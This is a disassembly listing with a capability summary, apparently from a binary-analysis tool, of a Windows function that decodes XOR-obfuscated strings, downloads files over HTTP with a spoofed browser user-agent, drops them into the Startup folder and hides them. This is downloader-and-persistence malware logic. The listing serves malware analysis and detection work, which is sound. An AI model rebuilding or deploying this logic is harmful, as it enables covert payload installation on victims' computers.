Function at 0x1400022f0
Capabilities:
Create http request
Get common file path
Get http content length
Get startup folder
Read data from internet
Receive data
Reference http user-agent string
Set file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x460
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x14000b040]
xor rax, rsp
mov qword [rbp + 0x400], rax
mov qword [rbp + 8], 0x9c4
lea rcx, [rbp + 8]
call fcn.140004e10
xor r14d, r14d
mov edi, r14d
mov ecx, 0x2dc6e7
call fcn.140005af8
test rax, rax
je 0x140003524
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
lea rcx, [rbx + 1]
xor edx, edx
mov r8d, 0x2dc6bf
call sub.VCRUNTIME140.dll_memset
mov byte [rbx], 1
mov edx, 0x2dc6e7
mov rax, qword [rbx - 8]
sub rbx, rax
add rbx, 0xfffffffffffffff8
cmp rbx, 0x1f
ja 0x140003524
mov rcx, rax
call fcn.140005af0
inc edi
cmp edi, 0x3e8
jl 0x140002340
mov qword [0x14000b950], 0xa
mov r12, r14
mov r13d, r14d
mov qword [rbp + 8], r14
movabs rax, 0x1808c446de8ab7ed
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x20], rax
movabs rax, 0xccc2406004712240
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x28], rax
movabs rax, 0x9e5692213f2c9175
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x30], rax
movabs rax, 0xc4695d06ef906da2
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x38], rax
movabs rax, 0x9035568d8259203e
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x40], rax
movabs rax, 0x6d9480c1624e2d92
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x48], rax
movabs rax, 0x3bc0560ae0623c0a
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x50], rax
movabs rax, 0xdee48da51e938e39
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x58], rax
movabs rax, 0xf6835a0b421e0238
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x60], rax
movabs rax, 0xe094753d55b70fc9
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x68], rax
movabs rax, 0x13a44d336e530f0a
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x70], rax
movabs rax, 0xc2704e89f3536b7c
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x78], rax
movabs rax, 0x3ee8eac118cef7a7
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x80], rax
movabs rcx, 0x14c05514313a0d4e
mov qword [rbp + 0xe8], rcx
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x88], rax
movabs rdi, 0x3727fe35aefec385
mov qword [rbp + 0xe8], rdi
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x160], rax
movabs r15, 0xa9af2f082a1f4b22
mov qword [rbp + 0xe8], r15
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x168], rax
movabs rax, 0xb139fb0f4c58fe17
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x170], rax
movabs rax, 0xa00f6b628da042c4
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x178], rax
movabs rax, 0xbd0261b9b4741709
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x180], rax
movabs rax, 0xca2e1ec537719a6
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x188], rax
movabs rax, 0xdf76e33d600113b
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x190], rax
movabs rax, 0xeacbbac678a7b608
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x198], rax
movabs rax, 0xdbb6623d702b600d
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x1a0], rax
movabs rax, 0x85a3411067846caa
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x1a8], rax
movabs rax, 0x20897a570c32223f
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x1b0], rax
movabs rax, 0xf74776ea95315d4c
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x1b8], rax
movabs rax, 0x3ee8eac118fcc591
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x1c0], rax
mov qword [rbp + 0xe8], rcx
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x1c8], rax
vmovdqu ymm0, ymmword [rbp + 0x20]
vpxor ymm1, ymm0, ymmword [rbp + 0x160]
vmovdqa ymmword [rbp + 0x20], ymm1
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x180]
vmovdqa ymmword [rbp + 0x40], ymm1
vmovdqu ymm0, ymmword [rbp + 0x60]
vpxor ymm1, ymm0, ymmword [rbp + 0x1a0]
vmovdqa ymmword [rbp + 0x60], ymm1
vmovdqa xmm0, xmmword [rbp + 0x80]
vxorps xmm0, xmm0, xmmword [rbp + 0x1c0]
vmovdqa xmmword [rbp + 0x80], xmm0
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0xa0]
vzeroupper
call fcn.140004410
nop
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.Mozilla_5.0
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rsi, rax
test rax, rax
je 0x140002802
lea rdx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0xf
cmova rdx, qword [rbp + 0xa0]
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rdi, rax
test rax, rax
je 0x1400027ef
mov dword [rbp + 0xe0], r14d
mov dword [rbp + 0x138], 4
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0x138]
lea r8, [rbp + 0xe0]
mov edx, 0x20000005
mov rcx, rax
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
jne 0x14000284b
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
movabs rdi, 0x3727fe35aefec385
mov bl, 1
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x1400028c1
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400028bc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400028bc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov ecx, dword [rbp + 0xe0]
call fcn.140005c04
mov r12, rax
mov r13d, dword [rbp + 0xe0]
mov dword [rbp + 0xf0], r14d
lea r9, [rbp + 0xf0]
mov r8d, r13d
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
test ebx, ebx
je 0x1400027f8
mov eax, dword [rbp + 0xe0]
cmp dword [rbp + 0xf0], eax
jne 0x1400027f8
xor bl, bl
movabs rdi, 0x3727fe35aefec385
jmp 0x140002804
call fcn.140005af0
mov qword [rbp + 0xb0], r14
mov qword [rbp + 0xb8], 0xf
mov byte [rbp + 0xa0], 0
test bl, bl
je 0x140002926
lea rdx, str.____proxy_1_fail_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140004c30
mov eax, 1
mov rcx, qword [rbp + 0x400]
xor rcx, rsp
call fcn.140005ad0
lea r11, [rsp + 0x460]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
movabs rax, 0x1808c446de8ab7ed
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x20], rax
movabs rax, 0xccc2406004712240
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x28], rax
movabs rax, 0x9e5692213f2c9175
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x30], rax
movabs rax, 0xc4695d06ef906da2
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x38], rax
movabs rax, 0x9035568d8259203e
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x40], rax
movabs rax, 0x6d9480c1624e2d92
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x48], rax
movabs rax, 0x3bc0560ae0623c0a
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x50], rax
movabs rax, 0xdee48da51e938e39
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x58], rax
movabs rax, 0xf6835a0b421e0238
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x60], rax
movabs rax, 0xe094753d55b70fc9
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x68], rax
movabs rax, 0x13a44d336e530f0a
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x70], rax
movabs rax, 0xc2704e89f3536b7c
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x78], rax
movabs rax, 0x3ee8eac118cef7a7
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x80], rax
movabs rcx, 0x14c05514313a0d4e
mov qword [rbp + 0xe8], rcx
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x88], rax
mov qword [rbp + 0xe8], rdi
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x160], rax
mov qword [rbp + 0xe8], r15
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x168], rax
movabs rax, 0xb139fb0f4c58fe17
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x170], rax
movabs rax, 0xa00f6b628da042c4
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x178], rax
movabs rax, 0xbd0261b9b4741709
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x180], rax
movabs rax, 0xca2e1ec537719a6
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x188], rax
movabs rax, 0xdf76e33d600113b
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x190], rax
movabs rax, 0xeacbbac678a7b608
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x198], rax
movabs rax, 0xdbb6623d702b600d
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x1a0], rax
movabs rax, 0x85a3411067846caa
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x1a8], rax
movabs rax, 0x20897a570c32223f
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x1b0], rax
movabs rax, 0xf74776ea95315d4c
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x1b8], rax
movabs rax, 0x3ee8eac118fcc591
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x1c0], rax
mov qword [rbp + 0xe8], rcx
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x1c8], rax
vmovdqu ymm0, ymmword [rbp + 0x20]
vpxor ymm1, ymm0, ymmword [rbp + 0x160]
vmovdqa ymmword [rbp + 0x20], ymm1
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x180]
vmovdqa ymmword [rbp + 0x40], ymm1
vmovdqu ymm0, ymmword [rbp + 0x60]
vpxor ymm1, ymm0, ymmword [rbp + 0x1a0]
vmovdqa ymmword [rbp + 0x60], ymm1
vmovdqa xmm0, xmmword [rbp + 0x80]
vxorps xmm0, xmm0, xmmword [rbp + 0x1c0]
vmovdqa xmmword [rbp + 0x80], xmm0
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0xc0]
vzeroupper
call fcn.140004410
nop
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.Mozilla_5.0
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rsi, rax
test rax, rax
je 0x140002dc9
lea rdx, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 0xf
cmova rdx, qword [rbp + 0xc0]
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rdi, rax
test rax, rax
jne 0x140002d1c
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140002dc9
mov dword [rbp + 0xe4], r14d
mov dword [rbp + 0xe8], 4
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0xe8]
lea r8, [rbp + 0xe4]
mov edx, 0x20000005
mov rcx, rdi
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
jne 0x140002d66
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140002dc9
mov ecx, dword [rbp + 0xe4]
call fcn.140005c04
mov qword [rbp + 8], rax
mov dword [rbp + 0xf4], 0
lea r9, [rbp + 0xf4]
mov r8d, dword [rbp + 0xe4]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
test ebx, ebx
je 0x140002dc6
mov eax, dword [rbp + 0xe4]
cmp dword [rbp + 0xf4], eax
jne 0x140002dc6
xor bl, bl
xor r14d, r14d
jmp 0x140002dcb
xor r14d, r14d
mov bl, 1
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0xf
jbe 0x140002e0f
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002e0a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002e0a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005af0
mov qword [rbp + 0xd0], r14
mov qword [rbp + 0xd8], 0xf
mov byte [rbp + 0xc0], 0
test bl, bl
je 0x140002e38
lea rdx, str.____proxy_2_fail_n
jmp 0x1400028e5
lea rax, [rbp + 0x1e0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 7
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
movabs rdi, 0x4546985bc191a0d9
mov rbx, 0xffffffffffffffff
movabs rcx, 0x8000000000000000
mov edx, 0x16
movabs r15, 0x7fffffffffffffff
test eax, eax
jne 0x1400031be
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
movabs rax, 0xa9af2f6d527a6556
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
movabs rax, 0x3727fe35aefec385
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x140], rax
movabs rax, 0xa9af2f082a1f4b22
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0x140]
movdqa xmmword [rbp + 0x10], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0x150], r14
mov qword [rbp + 0x158], r14
lea rax, [rbp + 0x1e0]
mov rdi, rbx
inc rdi
cmp byte [rax + rdi], 0
jne 0x140002f10
cmp rdi, r15
ja 0x14000353d
cmp rdi, 0xf
ja 0x140002f5d
mov qword [rbp + 0x150], rdi
mov qword [rbp + 0x158], 0xf
mov r8, rdi
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x140]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rdi + 0x140], 0
jmp 0x140002ff1
mov rsi, rdi
or rsi, 0xf
cmp rsi, r15
jbe 0x140002f8b
mov rsi, r15
lea rax, [rcx + 0x27]
mov rcx, rax
call fcn.140005af8
test rax, rax
je 0x140002fb3
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x140002fc2
cmp rsi, rdx
cmovb rsi, rdx
lea rcx, [rsi + 1]
test rcx, rcx
je 0x140002fc2
cmp rcx, 0x1000
jb 0x140002fba
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003531
jmp 0x140002f70
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005af8
mov r14, rax
mov qword [rbp + 0x140], r14
mov qword [rbp + 0x150], rdi
mov qword [rbp + 0x158], rsi
mov r8, rdi
lea rdx, [rbp + 0x1e0]
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + rdi], 0
xor r14d, r14d
lea r8, [rbp + 0x10]
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0xf8]
call fcn.140004f80
nop
mov rdx, qword [rbp + 0x158]
cmp rdx, 0xf
jbe 0x14000304d
inc rdx
mov rcx, qword [rbp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003048
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003048
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005af0
mov qword [rbp + 0x150], r14
mov qword [rbp + 0x158], 0xf
mov byte [rbp + 0x140], 0
lea r8, [rbp + 0xf8]
cmp qword [rbp + 0x110], 0xf
cmova r8, qword [rbp + 0xf8]
add r8, qword [rbp + 0x108]
lea rdx, [rbp + 0xf8]
cmp qword [rbp + 0x110], 0xf
cmova rdx, qword [rbp + 0xf8]
lea rcx, [rbp + 0x118]
call fcn.140005060
nop
mov r8d, r13d
mov rdx, r12
lea rcx, [rbp + 0xf8]
call fcn.1400020d0
test al, al
je 0x1400030f4
lea rcx, [rbp + 0x118]
cmp qword [rbp + 0x130], 7
cmova rcx, qword [rbp + 0x118]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rdx, str.___successfully_installed_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004c30
nop
mov rdx, qword [rbp + 0x130]
cmp rdx, 7
jbe 0x14000313d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003138
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003138
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005af0
mov qword [rbp + 0x128], r14
mov qword [rbp + 0x130], 7
mov word [rbp + 0x118], r14w
mov rdx, qword [rbp + 0x110]
cmp rdx, 0xf
jbe 0x14000319b
inc rdx
mov rcx, qword [rbp + 0xf8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003196
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003196
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005af0
mov qword [rbp + 0x108], r14
mov qword [rbp + 0x110], 0xf
mov byte [rbp + 0xf8], 0
movabs rdi, 0x4546985bc191a0d9
lea rax, [rbp + 0x2f0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 7
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jne 0x140003510
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
movabs rax, 0xa9af2f7c4b7d6556
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
movabs rax, 0x3727fe35aefec385
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x140], rax
movabs rax, 0xa9af2f082a1f4b22
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
movdqa xmm0, xmmword [rbp + 0x140]
xorps xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rbp + 0x10], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0x150], r14
mov qword [rbp + 0x158], r14
lea rax, [rbp + 0x2f0]
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140003270
cmp rbx, r15
ja 0x14000352b
cmp rbx, 0xf
ja 0x1400032bd
mov qword [rbp + 0x150], rbx
mov qword [rbp + 0x158], 0xf
mov r8, rbx
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x140]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx + 0x140], 0
jmp 0x140003362
mov rax, rbx
or rax, 0xf
cmp rax, r15
jbe 0x1400032f2
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140005af8
test rax, rax
je 0x140003328
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140003337
cmp rax, 0x16
mov ecx, 0x16
cmovb rax, rcx
mov r15, rax
lea rcx, [rax + 1]
test rcx, rcx
jne 0x140003310
mov rdi, r14
jmp 0x140003337
cmp rcx, 0x1000
jb 0x14000332f
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003537
jmp 0x1400032d7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005af8
mov rdi, rax
mov qword [rbp + 0x140], rdi
mov qword [rbp + 0x150], rbx
mov qword [rbp + 0x158], r15
mov r8, rbx
lea rdx, [rbp + 0x2f0]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rbx], 0
lea r8, [rbp + 0x10]
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0xf8]
call fcn.140004f80
nop
mov rdx, qword [rbp + 0x158]
cmp rdx, 0xf
jbe 0x1400033be
inc rdx
mov rcx, qword [rbp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400033b9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400033b9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005af0
mov qword [rbp + 0x150], r14
mov qword [rbp + 0x158], 0xf
mov byte [rbp + 0x140], 0
lea r8, [rbp + 0xf8]
cmp qword [rbp + 0x110], 0xf
cmova r8, qword [rbp + 0xf8]
add r8, qword [rbp + 0x108]
lea rdx, [rbp + 0xf8]
cmp qword [rbp + 0x110], 0xf
cmova rdx, qword [rbp + 0xf8]
lea rcx, [rbp + 0x118]
call fcn.140005060
nop
mov r8d, 1
mov rdx, qword [rbp + 8]
lea rcx, [rbp + 0xf8]
call fcn.1400020d0
test al, al
je 0x140003469
lea rcx, [rbp + 0x118]
cmp qword [rbp + 0x130], 7
cmova rcx, qword [rbp + 0x118]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rdx, str.___successfully_installed_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004c30
nop
mov rdx, qword [rbp + 0x130]
cmp rdx, 7
jbe 0x1400034b2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400034ad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400034ad
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005af0
mov qword [rbp + 0x128], r14
mov qword [rbp + 0x130], 7
mov word [rbp + 0x118], r14w
mov rdx, qword [rbp + 0x110]
cmp rdx, 0xf
jbe 0x140003510
inc rdx
mov rcx, qword [rbp + 0xf8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000350b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000350b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005af0
mov rcx, r12
call fcn.140005af0
call fcn.140001520
xor eax, eax
jmp 0x1400028f6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400011b0
int3
call fcn.140001110
int3
call fcn.140001110
int3
call fcn.1400011b0
int3